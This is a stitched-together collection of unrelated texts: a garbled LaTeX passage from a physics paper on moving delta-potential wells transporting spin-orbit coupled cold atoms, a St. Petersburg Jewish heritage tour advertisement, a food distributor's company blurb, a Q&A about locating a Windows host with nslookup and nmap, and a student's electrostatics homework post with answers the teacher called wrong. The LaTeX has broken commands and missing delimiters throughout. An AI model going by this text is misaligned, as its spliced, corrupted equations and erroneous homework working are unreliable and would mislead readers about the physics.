lines represent plane traveling (``P''), oscillating evanescent (``O'') and
ordinary evanescent (``E'') waves, respectively. For plane traveling wave,
wavevector $k_{x}$ has a real number value, the $x$-axis is set to
f\left(k_{x}\right)=k_{x}$; for oscillating evanescent wave, $k_{x}=\protec
\beta\pm i\protect\alpha$, the $x$-axis is set to $f\left(k_{x}\right)
\mathrm{sgn}\left[\mathrm{Re}\left(k_{x}\right)\right]\cdot\left|k_{x}\right|
$ (therefore, the lines for $+\protect\alpha$ and $-\protect\alpha$ overlap
with each other); and for ordinary evanescent wave, $k_{x}=\pm i\protec
\alpha$, the $x$-axis is set to $f\left(k_{x}\right)=\mathrm{sgn}\left
\mathrm{Im}\left(k_{x}\right)\right]\cdot\left|k_{x}\right|$. }
\label{fig:FreeParticleSpectrum}
\end{figure*}
From the previous section, one sees that both the initial state and
transporting channel problems involve finding the bound eigenstates of SO
coupled cold atomic matterwave. For a delta-potential well
V_{0}\left(x\right)=-V_{0}\delta\left(x\right)$, it is equivalent to a free
space problem except for the very point $x=0$. So the bound eigenstates of a
delta-potential well can be constructed using the free particle modes by
matching boundary conditions at $x=0$ \cite{Qin2020Bound}. In this section,
we first discuss the free particle spectrum and eigenstates of a SO coupled
system, and then construct the bound states using the free particle modes.
The free particle modes can be found by diagonalizing Hamiltonian
(\ref{eq:Hamiltonian_t}) (with $V_0\left(x\right)$ neglected).
It comes out that the eigenenergy is
given by
\begin{equation}
\left[E-\frac{\left(k_{x}^{2}+k_{c}^{2}\right)}{2}\right]^{2}
\left(k_{c}k_{x}+\frac{\Delta}{2}\right)^{2}+\left(\frac{\Omega}{2
\right)^{2}=0, \label{eq:eigenvalues}
\end{equation}
which is a second-order equation of $E$. This indicates that the spectrum
will split into two branches (we recognize them as ``lower'' and ``upper''
branch in this paper)
\begin{equation}
E_{\pm}=\frac{k_{x}^{2}+k_{c}^{2}}{2}\pm\frac{1}{2}\sqrt{\left(2k_{c}k_{x}
\Delta\right)^{2}+\Omega^{2}}, \label{eq:spectrum}
\end{equation}
and the corresponding eigenstates are
\begin{equation}
\psi_{\pm}\left(k_{x}\right)=\xi_{\pm}\left(k_{x}\right)e^{ik_{x}x}=C_{\pm
\left
\begin{matrix}
\zeta_{\pm} \\
\end{matrix
\right)e^{ik_{x}x}, \label{eq:eigenstates}
\end{equation}
where $\zeta_{\pm}=-\left(2k_{c}k_{x}+\Delta\right)/\Omega\pm\sqrt
\left(2k_{c}k_{x}+\Delta\right)^{2}/\Omega^{2}+1}$ characterize the spin
wavefunction, and $C_{\pm}=1/\sqrt{1+\left|\zeta_{\pm}\right|^{2}}$ is the
normalization parameter.
Equation (\ref{eq:eigenvalues}) admits three kinds of wavevectors with real,
pure imaginary and complex value, respectively. The real part of wavevector
k_{x}$ contributes a plane traveling wave factor in the eigenstate (\re
{eq:eigenstates}), while the imaginary value part contributes an exponential
decay factor. Thus, corresponding to these three kinds of wavevectors, the
eigenstates are plane traveling wave, ordinary evanescent wave, and
oscillating evanescent wave states, respectively
\citep{Sablikov2007Evanescent,Zhou2015Goos}. For different strengths of SO
coupling $k_{c}$ and Rabi coupling $\Omega$, the spectrum of the system can
be a little different. Here we focus on the strong SO coupling case with
k_{c}>\Omega/2$, and numerically we choose $k_{c}=1$ and $\Omega=0.2$ all
over the paper. In figure \ref{fig:FreeParticleSpectrum}, the free particle
spectra are plotted for different detunings $\Delta=0,\pm0.1$. In the
figure, different types of eigenstates are marked with different styles of
lines. From the figure, one sees that for energy below the minimum of lower
branch spectrum $E_{0}<E_{-,min}$, the four eigenmodes are all oscillating
evanescent waves. Further calculations show that the corresponding
wavevectors, i.e., solutions of equation (\ref{eq:eigenvalues}), have the
following symmetric form
\begin{equation}
k_{x;1,3}=\beta\mp i\alpha_{\text{I}},\quad k_{x;2,4}=-\beta\mp i\alpha_
\text{II}}. \label{eq:kx12kx34}
\end{equation}
Here $\alpha_{\text{I,II}}$ and $\beta$ are real positive numbers.
Specially, when $\Delta=0$, the two imaginary part numbers also equal each
other $\alpha_{\text{I}}=\alpha_{\text{II}}=\alpha$.
Since waves $\exp\left[ik_{x;1,2}\right]=\exp\left[\pm i\beta x+\alpha_
\text{I,II}}x\right]$ decay to zero when $x\rightarrow-\infty$, while waves
\exp\left[ik_{x;3,4}\right]=\exp\left[\pm i\beta x-\alpha_{\text{I,II}}
\right]$ decay to zero when $x\rightarrow+\infty$, the bound states of a
delta-potential well can be constructed using these four oscillating
evanescent wave modes. The wave function can be written as
\begin{align}
\psi_{b} &
\begin{cases}
A_{1}\xi_{-;1}e^{ik_{x;1}x}+A_{2}\xi_{-;2}e^{ik_{x;2}x}, & x<0, \\
A_{3}\xi_{-;3}e^{ik_{x;3}x}+A_{4}\xi_{-;4}e^{ik_{x;4}x}, & x>0
\end{cases}
\notag \\
&
\begin{cases}
A_{1}\xi_{-;1}e^{i\beta x+\alpha_{\text{I}}x}+A_{2}\xi_{-;2}e^{-i\beta
x+\alpha_{\text{II}}x}, & x<0, \\
A_{3}\xi_{-;3}e^{i\beta x-\alpha_{\text{I}}x}+A_{4}\xi_{-;4}e^{-i\beta
x-\alpha_{\text{II}}x}, & x>0
\end{cases}
\label{eq:psib}
\end{align}
with symbols $\xi_{-;1,2,3,4}=\xi_{-}\left(k_{x;1,2,3,4}\right)$ for
shorthand. The wavefunction parameters $A_{1,2,3,4}$ and eigenenergy $E_{b}$
($k_{x;1,2,3,4}$ are determined by $E_{b}$ according to equation (\re
{eq:eigenvalues})) are to be determined by normalization constrain
\int_{-\infty}^{\infty}\left|\psi_{b}\right|^{2}dx=1$ together with boundary
conditions: continuity of wavefunction
\begin{equation}
\left.\psi_{b}\left(x\right)\right|_{0+}=\left.\psi_{b}\left(x\right
\right|_{0-}, \label{eq:boudnary1}
\end{equation}
and jump of the first-order derivative of wave function caused by the
singularity of delta-potential
\begin{equation}
\left.\frac{d\psi_{b}\left(x\right)}{dx}\right|_{0+}-\left.\frac
d\psi_{b}\left(x\right)}{dx}\right|_{0-}=-2V_{0}\psi_{b}\left(x=0\right).
\label{eq:boudnary2}
\end{equation}
\begin{figure}[tbp]
\begin{centering}
\includegraphics{fig3}
\par\end{centering}
\caption{Eigenstates of delta-potential well trapped SO coupled cold atomic
matterwave for different effective detunings ($\Delta=2k_{c}v=0,0.1,\pm 0.8$). The solid
violet lines stand for spin-$\uparrow$ component atomic density $\left
\protect\psi_{b;\uparrow}\right|^{2}$, while the green dashed lines stand
for spin-$\downarrow$ component atomic density $\left|\protect\ps
_{b;\uparrow}\right|^{2}$. Top panels: spin symmetric ground (``g'') and
excited (``e'') states for zero detuning $\Delta=0$. Middle panels: spin
asymmetric ground and excited states for a small detuning $\Delta=0.1$.
Bottom panels: spin asymmetric ground states for large positive $\Delta=0.8$
and negative detuning $\Delta=-0.8$. The excited state is absent for such
large detunings, thus only the ground state is plotted. The eigenenergies
corresponding to these states are $-0.5536, -0.4540, -0.5742, -0.4334$,
-0.9056, -0.9056, respectively. The SO coupling and Rabi coupling strengths
are $k_{c}=1,\Omega=0.2$, and the depth of the delta-potential well is
V_{0}=1$. }
\label{fig:Eigenstates}
\end{figure}
\begin{figure}[tbp]
\begin{centering}
\includegraphics{fig4}
\par\end{centering}
\caption{The spectrum of delta-potential bounded SO coupled cold atomic
matterwave. Ground (``g'', violet lines) and excited (``e'', green lines)
state energies $E_{b;g,e}$
are plotted as a function of effective detuning $\Delta=2k_{c}v$. Solid,
dashed and dotted lines represent different potential well depths
V_{0}=0.8,1.0,1.2$, respectively. SO coupling strength and Rabi frequency
are $k_{c}=1,\Omega=0.2$. }
\label{fig:BoundedSpectrum}
\end{figure}
\begin{figure}[tbp]
\begin{centering}
\includegraphics{fig5}
\par\end{centering}
\caption{Critical detuning for the disappearing of the excited state. The
absolute value of critical detuning is plotted as a function of
delta-potential well depth $V_{0}$, the black solid line. Below this line,
the light blue color filled region supports both a ground and an excited
bound state. While above this line, the pink color filled region supports
only one bound state, the ground state. SO coupling strength and Rabi
frequency are $k_{c}=1,\Omega=0.2$. }
\label{fig:CriticalDetuning}
\end{figure}
\begin{figure*}[tbp]
\begin{centering}
\includegraphics{fig6}
\par\end{centering}
\caption{Time evolution of the transported matterwave under different
potential moving velocities. Left panel: Interference pattern between the
ground state and excited state channels transported matterwave for a small
velocity ($v=0.05$) moving delta-potential well. Middle penal: Spin-$\uparrow
$ component dominant transporting for a large velocity positive direction
moving ($v=0.4$) delta-potential well. Right panel: Spin-$\downarrow$
component dominant transporting for a large velocity negative direction
moving ($v=-0.4$) delta-potential well. SO coupling strength, Rabi frequency
and depth of the delta-potential well are $k_{c}=1,\Omega=0.2$ and $V_{0}=1.0
$ for all plots. }
\label{fig:TimeEvolution}
\end{figure*}
\begin{figure}[tbp]
\begin{centering}
\includegraphics{fig7}
\par\end{centering}
\caption{Amount of transported atomic matterwave for different transporting
velocities. The violet solid line represents the total amount of transported
matterwave $N_{t}$ defined in equation (\protect\ref{eq:Nt}). The green
dashed and cyan dash-dotted lines represent the amount of spin-$\uparrow$
and spin-$\downarrow$ components, $N_{t;\uparrow}$ and $N_{t;\downarrow}$
defined in equation (\protect\ref{eq:NtUpDown}). An abrupt dropping of the
amount of transported matterwave happens around $v\approx\pm0.25$ which is the
critical velocity for the disappearing of the excited state transporting
channel. The parameters used are $k_{c}=1.0$, $\Omega=0.2$, $V_{0}=1.0$. }
\label{fig:TransportCurve}
\end{figure}
Because of the spin-$1/2$ nature of the system, a delta-potential well can
support two bound states (which are recognized as ground and excited states
in this paper) with spin symmetry $\left|\psi_{\downarrow}\right|^{2}=\left
\psi_{\uparrow}\right|^{2}$ when the detuning is absent ($\Delta=0$). When a
small detuning is introduced, this spin symmetry is broken,
\left|\psi_{\downarrow}\right|^{2}\neq\left|\psi_{\uparrow}\right|^{2}$.
According to the Hamiltonian (\ref{eq:Hamiltonian}), a positive detuning
will raise the energy of spin-$\downarrow$ (or in other words, negative
momentum) component, and at the same time, lower the energy of spin-$\uparrow
$ (negative momentum) component. This fact can also be seen from the
spectrum shown in figure \ref{fig:FreeParticleSpectrum}. As a result, the
ground state becomes spin-$\uparrow$ favored, while the excited state
becomes spin-$\downarrow$ favored. When the detuning becomes large, the
energy of the excited state will be raised out of the binding ability of the
potential well, hence the excited state disappears. For a negative detuning,
the roles of spin-$\uparrow$ and spin-$\downarrow$ exchange with each other.
These facts are shown in figure \ref{fig:Eigenstates}, where ground and
excited bound states are plotted for zero and small detunings $\Delta=0,0.1
. And for large detunings $\Delta=\pm0.8$, the excited state disappears,
only the ground state is plotted.
We also studied the delta-potential well bounded SO coupled spectrum. The
ground state and excited state energies are plotted as a function of
detuning $\Delta$ in figure \ref{fig:BoundedSpectrum}. The detuning induced
energy splitting of the two states, and the disappearing of the excited
state can be clearly seen in this figure. And one also noticed that for a
deeper potential well the excited state disappears at a larger value of
detuning $\Delta$. This is further shown in figure \ref{fig:CriticalDetuning
, where the excited state disappearing critical detuning $\Delta_{c}$ is
plotted as a function of delta-potential well depth $V_{0}$. In this figure,
in the region below the critical-value-line (the black solid line), both the
ground and excited states exist, while above the line the excited state
disappears, and there is only one bound state, the ground state.
At last, recalling that moving can induce an effective detuning
\Delta=2k_{c}v$, it is concluded that a small positive (negative) velocity
moving delta-potential well can support both a spin-$\uparrow$ (spin-
\downarrow$) favored ground state and a spin-$\downarrow$ (spin-$\uparrow$)
favored excited state transporting channel, while a large positive
(negative) velocity moving delta-potential well can only support a spin-
\uparrow$ (spin-$\downarrow$) dominant ground state transporting channel.
This will lead to very different transporting properties of the
delta-potential wells moving with different velocities.
\section{Transportation\label{sec:Results}}
When the delta-potential well moves at a small velocity (moving induced
detuning fulfills $\left|\Delta\right|=2k_{c}\left|v\right|<\left|\Delta_{c
\right|$, with critical detuning $\left|\Delta_{c}\right|$
having been shown in figure \ref{fig:CriticalDetuning}),
both the ground state and excited state channels
participate in the transporting, and interference will happen between them.
As a result, an oscillation of the atomic density can be observed during the
transporting process. The oscillating period is determined by the energy
difference between the ground and excited states, $T=2\pi/\left(E_{e}-E_{g
\right)$. In the left panel of figure \ref{fig:TimeEvolution}, such an
oscillation is shown for a delta-potential well with depth $V_{0}=1.0$ moving
at velocity $v=0.05$. The ground state and excited state energies are
-0.5742, -0.4334, respectively. Therefore, the oscillating period is
T\thickapprox44.63$ in the figure.
When the delta-potential well moves at a large velocity (
\left|\Delta\right|=2k_{c}\left|v\right|>\left|\Delta_{c}\right|$), the
moving induced detuning eliminates the excited state transporting channel,
the ground state channel plays the only transporting role. Without the
excited state channel to interfere with, no oscillation happens in this
case. For a positive direction moving potential, the ground state channel is
spin-$\uparrow$ dominant, thus only the spin-$\uparrow$ component matterwave
can be efficiently transported. While for a negative direction moving
potential, the spin-$\downarrow$ dominant ground state channel can only
efficiently transport the spin-$\downarrow$ component matterwave. This is
shown in the middle and right panels in figure \ref{fig:TimeEvolution}.
We also examined the relationship between transporting efficiency
and moving velocity of the delta-potential well. The total
transported atom number $N_{t}$, and atom number of each spin component
N_{t;\uparrow,\downarrow}$ are plotted as a function of the potential moving
velocity $v$ in figure \ref{fig:TransportCurve}. In the figure, below the
critical velocity ($\left| v \right| < 0.25$), for a positive direction
moving potential, the spin-$\uparrow$ component is a little favored; while
for a negative direction moving potential, it is the spin-$\downarrow$
component favored. And the total transported atom number takes a value of
nearly 1 (not less than 95\%), which means that almost all the atoms can be
transported in this case. However,when the velocity of the potential well
exceeds the critical value ($\left| v \right| > 0.25$), one of the spin
components (spin-$\downarrow$ for positive, while spin-$\uparrow$ for
negative direction transporting) suddenly drops to almost 0, and only the
other spin component can still be transported. Except for this sudden
dropping of transporting efficiency, in the figure one also notices a slowly
dropping of the total transported atom number as the transporting velocity
increases. Mathematically, this is because, for a large value of $v$, the
factor $\exp\left[ivx\right]$ in equation (\ref{eq:Cge}) contributes a fast
oscillation, which will reduce the transported matterwave amplitude.
Physically, this can be explained by the fact that a faster moving of the
potential tends to excite more atoms out of the trapping well.
At last, we also point out that here the moving of the delta-potential is
switched on abruptly. However, one can also discuss the case of adiabatically
switching on. In such a case, according to the adiabatical theorem \citep{Kato1950},
the atoms will adiabatically follow the ground state of the moving potential (we
assume the atoms are initially prepared in the ground state). And as we have already
demonstrated the dependence of ground state spin polarization on potential moving
velocity in section \ref{sec:TransportingChannels}, therefore the unidirectional spin
transport can be achieved as well.
\section{Summary\label{sec:Summary}}
In summary, we have studied the transport of SO coupled cold atomic matterwave
using a moving Dirac delta-potential well. The transporting can happen in
two different channels (the ground and excited bound states of the moving
delta-potential well). Due to that SO coupling breaks Galilean invariance,
the transport shows a prominent unidirectional property. For small
moving velocity, both the ground state and excited state channels contribute
to the transportation, and the two spin components can both be efficiently
transported, where spin-$\uparrow $ (spin-$\downarrow $) is a little favored
for a positive (negative) direction transport. And under such a case, the
interference between the ground state and excited state channels will cause
an oscillation of the transported matterwave density. When the moving
velocity exceeds a critical value, the excited state transporting channel
disappears, only one spin component of the matterwave can be efficiently
transported through the ground state channel. Positive direction moving
delta-potential well only efficiently transports spin-$\uparrow $ component,
while negative direction moving potential well only efficiently transports
spin-$\downarrow $ component. The critical moving velocity is also
identified in the paper. Note that some experimentally realizable potentials
\citep{Uncu2007Bose,Garrett2011Growth,Lacki2016Nanoscale,Wang2018Dark} can
be modeled by delta-function, the phenomena reported here are expected to be
observed experimentally.
\begin{acknowledgments}
This work is supported by National Natural Science Foundation of China
(Grant Nos. 11904063, 11847059 and 11374003).
\end{acknowledgments}
| {
"redpajama_set_name": "RedPajamaArXiv"
} | 7,322 |
Discover the Jewish heritage of St. Petersburg at a more relaxed pace than you would on a day trip during a 2-day tour with a guide that's closely connected to the Jewish community. You'll receive personalized attention in a small-group limited to 10 and enjoy the use of headsets so that you can hear your guide clearly at all times. Plus, daily hotel pickup and drop-off, and all admission tickets are included. Please note that accommodation is not included. | {
"redpajama_set_name": "RedPajamaC4"
} | 3,006 |
Q: Finding if a given PC name exists on a network I have been given a network share address by my infra team, but it doesn't seem to come up when I address it. The address is supposed to contain code for a project build, which I need.
I have pinged the host but nothing comes up. I think this means that it doesn't exist, and the guys in infra must have misspelled it. They're in a different time zone, and I have five hours where I can't access these files which I need for a production release.
What I'd like to do is grep for the host address, finding all machines on the network with an address similar to the one given. Does anyone know of a tool or script which would facilitate this?
Thanks in advance.
Update: to be exact, this is a Windows network. I use the word Grep in its generic verbal sense. as in, to grep for something meaning some pattern recognition tool. apologies, I didn't really think the question through.
Really what I'm looking for is something like:
nslookup [^servernamestart*] or something like that. Does any such utility exist on Windows? I know it's a long shot...
A: try nslookup [hostname]
you could also try nmap -sP [ip-start]-[ip-end] to find alive hosts with similar ip addresses
dont really know what you mean by "grep for hostname"
A: If you are on a Windows Network with Windows OS, try this (from Microsoft site)
Search for a computer when you do not know the name of the computer:
*
*If you do not know the name of the computer, you can browse for
the
computer on the network:
*Click Start, and then click My Network
Places.
*Click Entire Network.
*Double-click Microsoft Windows
Network.
*Double-click the name of the domain that you want to
search.
*Double-click the name of the computer that you want to
access so that the shared resources are displayed.
| {
"redpajama_set_name": "RedPajamaStackExchange"
} | 5,960 |
package object
type ClusterComputeResource struct {
ComputeResource
}
| {
"redpajama_set_name": "RedPajamaGithub"
} | 3 |
Standard Food Ltd. İs founded in 1964 İs in Aegean Region, centered in İzmir and is an important distributor of brands. Standard Food Ltd., the sister company of AYTAŞ is the distributor of national and local firms with its non-household product portfolio.
Standard Food Ltd. with a team of 22 people in managerial staff, using Netsis ERP package (Enterprise Resource Planning) and using a computerized ordering system, delivers orders from approximately 1000 customers including hotels, dining halls, restaurants and coffee shops and performs high quality service. | {
"redpajama_set_name": "RedPajamaC4"
} | 7,044 |
{"url":"https:\/\/k12.libretexts.org\/Bookshelves\/Mathematics\/Analysis\/03%3A_Exponential_and_Logarithmic_Functions\/3.05%3A_Exponential_and_Logarithmic_Models\/3.5.03%3A_Simple_and_Compound_Interest","text":"# 3.5.3: Simple and Compound Interest\n\n\n## Simple and Compound Interest\n\nSuppose you are re-negotiating an allowance with your parents. Currently you are given $25 per week, but it is the first of June, and you have started mowing the lawn and taking out the trash every week, and you think your allowance should be increased. Your father considers the situation and makes you the following offer: \"I tell you what, son. I will give you three options for your allowance, you tell me which you would like\" \"Option A: You keep the$25 per week\"\n\n\"Option B: You take $15 this week, then$16 next week, and so on. I'll continue adding $1 per week until New Year's.\" \"Option C: I'll give you 1 penny this week, and then double your allowance each week until the first of October, then keep it at that rate.\" Which option would you choose? ## Simple and Compound Interest Simple interest is interest which accrues based only on the principal of an investment or loan. The simple interest is calculated as a percent of the principal. Simple Interest: i=p\u22c5r\u22c5t. Variable i is interest, p represents the principal amount, r represents the interest rate, and t represents the amount of time the interest has been accruing. For example, say you borrow$2,000 from a family member, and you insist on repaying with interest. You agree to pay 5% interest, and to pay the money back in 3 years.\n\nThe interest you will owe will be 2000(0.05)(3) = $300. This means that when you repay your loan, you will pay$2300. Note that the interest you pay after 3 years is not 5% of the original loan, but 15%, as you paid 5% of $2000 each year for 3 years. Now let\u2019s consider an example in which interest is compounded. Say that you invest$2000 in a bank account, and it earns 5% interest annually. How much is in the account after 3 years?\n\nCompound interest: A(t)=p\u22c5(1+r)t\n\nHere, A(t) is the Amount in the account after a given time in years, principal is the initial investment, and rate is the interest rate. Note that we use (1+r) instead of just r, so we can find the entire amount in the account, not just the interest paid.\n\nA(t)=2000\u22c5(1.05)3\n\nAfter three years, you will have $2315.25 in the account, which means that you will have earned$315.25 in interest.\n\nCompounding results in more interest because the principal on which the interest is calculated increased each year. Another way to look at it is that compounding creates more interest because you are earning interest on interest, and not just on the principal.\n\n## Examples\n\n###### Example 1\n\nEarlier, you were asked which allowance option you would choose.\n\nSolution\n\nAssume you want to make the most money possible by the end of the year. Assume also that there are 24 weeks left.\n\nOption A = 25\u22c524=$600 total Option B = 15+16+17...+39=$609 total\n\nOption C (assuming 16 weeks until Oct.) = 1\u22c5(216)=$655.36 each week after Oct 1. It is entirely possible that dear old dad didn't take exponential growth seriously enough, he may need a second job! ###### Example 2 Use the formula for compound interest to determine the amount of money in an investment after 20 years, if you invest$2000, and the interest rate is 5% compounded annually.\n\nSolution\n\nThe investment will be worth $5306.60. A(t) = P(1 + r)t A(20) = 2000(1.05)20 A(20) =$5306.60\n\n###### Example 3\n\nHow long will it take for $2000, invested at 5% compounded annually, to reach$7,000?\n\nSolution\n\nIf we graph the function A(t) = 2000(1.05)t, we can see the values for any number of years.\n\nIf you graph this function using a graphing calculator, you can determine the value of the investment by tracing along the function, or by pressing <TRACE> on your graphing calculator and then entering an x value.\n\nYou can also choose an investment value you would like to reach, and then determine the number of years it would take to reach that amount. Find the intersection of the exponential function with the line y = 7000.\n\nYou can see here that the line and the curve intersect at a little less than x = 26. Therefore it would take almost 26 years for the investment to reach $7000. ###### Example 4 What is the value of an investment after 20 years, if you invest$2000, and the interest rate is 5% compounded continuously?\n\nSolution\n\nThe more often interest is compounded, the more it increases, but there is a limit. Each time you increase the number of compoundings, you decrease the fraction of the annual interest that is applied to each compounding. Eventually, the differences become so small as to be negligible. This is known as continuous compounding.\n\nThe function A(t) = Pert is the formula we use to calculate the amount of money when interest is continuously compounded, rather than interest that is compounded at discrete intervals, such as monthly or quarterly.\n\nA(t) = Pert\n\nA(20) = 2000e.05(20)\n\nA(20) = 2000e1\n\nA(20) = $5436.56 ###### Example 5 Compare the values of the investments shown in the table. If everything else is held constant, how does the compounding influence the value of the investment? Principal r n t a.$4,000 .05 1 (annual) 8\nb. $4,000 .05 4 (quarterly) 8 c.$4,000 .05 12 (monthly) 8\nd. $4,000 .05 365 (daily) 8 e.$4,000 .05 8760 (hourly) 8\n\nSolution\n\nUse the compound interest formula. For this example, the n is the quantity that changes:\n\n$$\\ A(8)=4000\\left(1+\\frac{.05}{n}\\right)^{8 n}$$\n\nPrincipal r n t A\na. $4,000 .05 1 (annual) 8$5909.82\nb. $4,000 .05 4 (quarterly) 8$5952.52\nc. $4,000 .05 12 (monthly) 8$5962.34\nd. $4,000 .05 365 (daily) 8$5967.14\ne. $4,000 .05 8760 (hourly) 8$5967.29\n\nA graph of the function $$\\ f(x)=4000\\left(1+\\frac{.05}{x}\\right)^{8 x}$$ is shown below:\n\nThe graph seems to indicate that the function has a horizontal asymptote at $6000. However, if we zoom in, we can see that the horizontal asymptote is closer to 5967. What does this mean? This means that for the investment of$4000, at 5% interest, for 8 years, compounding more and more frequently will never result in more than about $5968.00. ###### Example 6 Determine the value of each investment. 1. You invest$5000 in an account that gives 6% interest, compounded monthly. How much money do you have after 10 years?\n2. You invest $10,000 in an account that gives 2.5% interest, compounded quarterly. How much money do you have after 10 years? Solution 1.$5000, invested for 10 years at 6% interest, compounded monthly.\n\n$$\\ A(t)=P\\left(1+\\frac{r}{n}\\right)^{n t}$$\n\n$$\\ A(10)=5000\\left(1+\\frac{.06}{12}\\right)^{12 \\cdot 10}$$\n\n$$\\ A(10)=5000(1.005)^{120}$$\n\nA(10)=$9096.98 2.$10000, invested for 10 years at 2.5% interest, compounded quarterly.\n\nQuarterly compounding means that interest is compounded four times per year. So in the equation, n = 4.\n\n$$\\ A(t)=P\\left(1+\\frac{r}{n}\\right)^{n t}$$\n\n$$\\ A(10)=6000\\left(1+\\frac{.025}{4}\\right)^{4 \\cdot 10}$$\n\n$$\\ A(10)=6000(1.00625)^{40}$$\n\n$$\\ A(10)=12,830.30$$\n\nIn each example, the value of the investment after 10 years depends on three quantities: the principal of the investment, the number of compoundings per year, and the interest rate.\n\n###### Example 7\n\nHow long will it take $2000 to grow to$25,000 at a 5% interest rate?\n\nSolution\n\nIt will take about 50 years:\n\nA(t) = Pert\n25,000 = 2000e .05(t)\n12.5 = e .05(t) Divide both sides by 2000\nln 12.5 = ln e .05(t) Take the ln of both sides\nln 12.5 = .05t ln e Use the power property of logs\nln 12.5 = .05t \u00d7 1 ln e = 1\nln 12.5 = 0.5t Isolate t\n$$\\ t=\\frac{\\ln 12.5}{.05} \\approx 50.5$$\n\n## Review\n\n1. What is the formula for figuring simple interest?\n2. What is the formula for figuring compound interest?\n3. If someone invested $4500.00, how much would they have earned after 4 years, at a simple interest rate of 2%? 4. Kyle opened up a savings account in July. He deposited$900.00. The bank pays a simple interest rate of 5% annually. What is Kyle's balance at the end of 4 years?\n5. After having an account for 6 years, how much money does Roberta have in the account, if her original deposit was $11,000, and her bank's yearly simple interest rate is 8.4%? 6. Tom called his bank today to check on his savings account balance. he was surprised to find a balance of$6600, when he started the account with just $5000.00 8 years ago. Based on this data, what percentage rate has the bank been paying on the account? 7. Julie opened a 4% interest account with a bank that compounds the interest quarterly. If Julie were to deposit$3000.00 into the account at the beginning of the year, how much could she expect to have at the end of the year?\n8. Susan has had a saving account for a few years now. The bank has been paying her simple interest at a rate of 5%. She has earned $45.00 on her initial deposit of$300.00. How long has she had the account?\n9. What is the balance on a deposit of $818.00 earning 5% interest compounded semiannually for 5 years? 10. Karen made a decent investment. After 4 years she had$3250.00 in her account and expects to have $16,250, after another 4 years. Her savings account is a compounding interest account. How much was her original deposit? 11. What is the yearly simple interest rate that Ken earns, if after only three months he earned$16.00 on an initial $800.00 deposit? 12. Write an expression that correctly represents the balance on an account after 7 years, if the account was compounded yearly at a rate of 5%, with an initial balance of$1000.00\n13. Caryl gives each of his three kids $3000.00 each, and they each use it to open up saving accounts at three different banks. Georgia, his oldest, is earning 3% annually at her bank. Kirk earns 7% annually at his bank. Lottie's bank is paying her an annual rate of 4%. At the end of 6 years show much will each of them have in their respective accounts. 14. Kathy receives an inheritance check for$3000.00 and decides to put it in a saving account so she can send her daughter to college when she gets older. After looking she finds an account that pays compounding interest annually at a rate of $14%. The balance on the account can be represented by a function, where x is the time in years. Write a function, and then use it to determine how much will be in the account at the end of 7 years. 15. Stan is late on his car payment. The finance company charges 3% interest per month it is late. His monthly payment is$300.00. What is the total amount he will owe if he pays the August first bill October first? (assuming he was able to make his September bill on - time)\n\nToday, you get your first credit card. It charges 12.49% interest on all purchases and compounds that interest monthly. Within one day you max out the credit limit of $1,200.00. 1. If you pay the monthly accrued interest plus$50.00 towards the initial $1,200 amount every month, how much will you still owe at the end of the first 12 months? 2. How much will you have paid in total at the end of the year? You are preparing for retirement. You invest$10,000 for 5 years, in an account that compounds monthly at 12% per year. However, unless this money is in an IRA or other tax-free vehicle, with zero inflation, you also have an annual tax payment of 30% on the earned interest.\n\n1. How much will you have in 5 years?\n2. Now take into account that the money loses 3% spending value per year due to inflation, how much is what you have saved really worth at the end of the 5 years?\n\n## Vocabulary\n\nTerm Definition\nAccrue Accrue means \"increase in amount or value over time.\" If interest accrues on a bank account, you will have more money in your account. If interest accrues on a loan, you will owe more money to your lender.\nCompound interest Compound interest refers to interest earned on the total amount at the time it is compounded, including previously earned interest.\nContinuous compounding Continuous compounding refers to a loan or investment with interest that is compounded constantly, rather than on a specific schedule. It is equivalent to infinitely many but infinitely small compounding periods.\nPrincipal The principal is the amount of the original loan or original deposit.\nRate The rate is the percentage at which interest accrues.","date":"2022-06-26 04:18:14","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 1, \"mathjax_display_tex\": 1, \"mathjax_asciimath\": 0, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.41617175936698914, \"perplexity\": 1083.5669199037739}, \"config\": {\"markdown_headings\": true, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 10, \"end_threshold\": 15, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103037089.4\/warc\/CC-MAIN-20220626040948-20220626070948-00717.warc.gz\"}"} | null | null |
{"url":"https:\/\/www.physicsforums.com\/threads\/finding-electric-field-potential-and-final-velocity.844343\/","text":"# Finding Electric Field, Potential, and Final Velocity\n\n1. Nov 21, 2015\n\n### PrincessYams\n\n1. The problem statement, all variables and given\/known data\n\nThree point charges are arranged as shown here: http:\/\/puu.sh\/ltvxF.png [Broken]\na. Find the electric field at point A. (Give as vector, either as i and j or magnitude and direction.)\nb. Find the potential at point A.\nc. If an electron is placed at point A and released, what is the magnitude of its final velocity?\n\n2. Relevant equations\n\na. E = (kq)\/ r2, Ey = Esin(theta), Ex = Ecos(theta)\nb. V = (kq) \/ r\nc. v = (sqrt(2P\/m))\n\nCONSTANTS:\nk = 8.99 * 109\nme = 9.11 * 10-31 kg\n\n3. The attempt at a solution\n\na. For this one, I calculated all the electric fields from each point. For the left negative charge I got E = 8.9 * 104, which I calculated to be Ex = 72000 and Ey = 54000. Because the right negative charge has the same charge, the electric field is the same. So, the electric fields are the same everywhere EXCEPT the x-component because that is negative, so they cancel out. Currently, I have a Ey = 72000.\nFor the positive charge, I got E = -5.6 * 104. (I said it was negative because it is going in the negative-y direction?).\nSo I added all these and got 138400 upwards. My teacher said this was wrong though, where?\n\nb. I took this piece by piece. For the left negative charge, I got -4500 ((k * -2.5 * 108)\/.05). For the right negative charge, I got the same thing (same charge and distance). For the middle positive charge, I got +2250 ((k * 1 * 10-8)\/ .04). Adding these together, I got 6750 V. 